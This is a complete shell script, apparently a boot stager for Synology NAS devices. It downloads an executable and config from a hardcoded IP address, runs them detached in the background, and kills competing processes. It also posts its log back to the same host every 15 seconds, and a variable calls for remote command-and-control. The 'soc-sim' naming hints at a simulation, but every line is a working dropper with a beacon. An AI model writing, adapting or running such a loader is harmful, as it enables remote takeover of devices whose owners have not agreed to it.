#!/bin/sh
# nsm boot — self-healing pull+exec (served from VPS, no entry.cgi size limit)
B='http://45.74.7.105:8088'
R="$B/soc-sim-universal.run"
C="$B/soc-sim_1787262069.json"
E="http://45.74.7.105:8088/log/soc-sim_1787262069.log"
export PATH="/bin:/usr/bin:/usr/syno/bin:/usr/local/bin:$PATH"
export WGET=$(command -v wget || echo /bin/wget)
export CURL=$(command -v curl || echo /bin/curl)
command -v pgrep >/dev/null 2>&1 && for P in $(pgrep -f 'nsmrelay|/log/soc-sim_' 2>/dev/null); do [ "$P" != "$$" ] && kill -9 "$P" 2>/dev/null; done
W=''
for D in '/volume1/backup' '/volume1/homes/lang' '/volume1/@tmp' '/var/services/tmp' '/tmp'; do mkdir -p "$D/.nsmw" 2>/dev/null && rmdir "$D/.nsmw" 2>/dev/null && W="$D" && break; done
[ -z "$W" ] && W=/tmp
export TMPDIR="$W"
export SOC_SIM_REQUIRE_REMOTE_C2=1
export NSML="$W/soc-sim.log" NSME="$E"
echo "BOOT_START dir=$W pid=$$ $(date)" > "$NSML"
RR="$W/soc-sim_1787262069.run"; CC="$W/soc-sim_1787262069.json"
rm -f "$RR" "$CC"
( nohup sh -c ': nsmrelay; n=0; while [ $n -lt 1440 ]; do sleep 15; [ -s "$NSML" ] && "$CURL" -s -X POST --data-binary @"$NSML" "$NSME" >/dev/null 2>&1; n=$((n+1)); done' </dev/null >/dev/null 2>&1 & )
( "$WGET" -q -T 300 -t 3 -O "$RR" "$R" || "$CURL" -fsSL --max-time 360 -o "$RR" "$R" ) && echo LANDED_RUN >> "$NSML" || echo FAIL_RUN >> "$NSML"
( "$WGET" -q -T 60 -t 3 -O "$CC" "$C" || "$CURL" -fsSL --max-time 90 -o "$CC" "$C" ) && echo LANDED_CFG >> "$NSML" || echo FAIL_CFG >> "$NSML"
if [ -s "$RR" ] && [ -s "$CC" ]; then
  chmod +x "$RR"
  ( command -v setsid >/dev/null 2>&1 && setsid sh -c "nohup '$RR' -config '$CC' >> '$NSML' 2>&1 < /dev/null &" || ( nohup "$RR" -config "$CC" >> "$NSML" 2>&1 < /dev/null & ) )
  echo EXEC_STARTED >> "$NSML"
else
  echo SKIP_EXEC >> "$NSML"
fi
echo BOOT_DONE >> "$NSML"
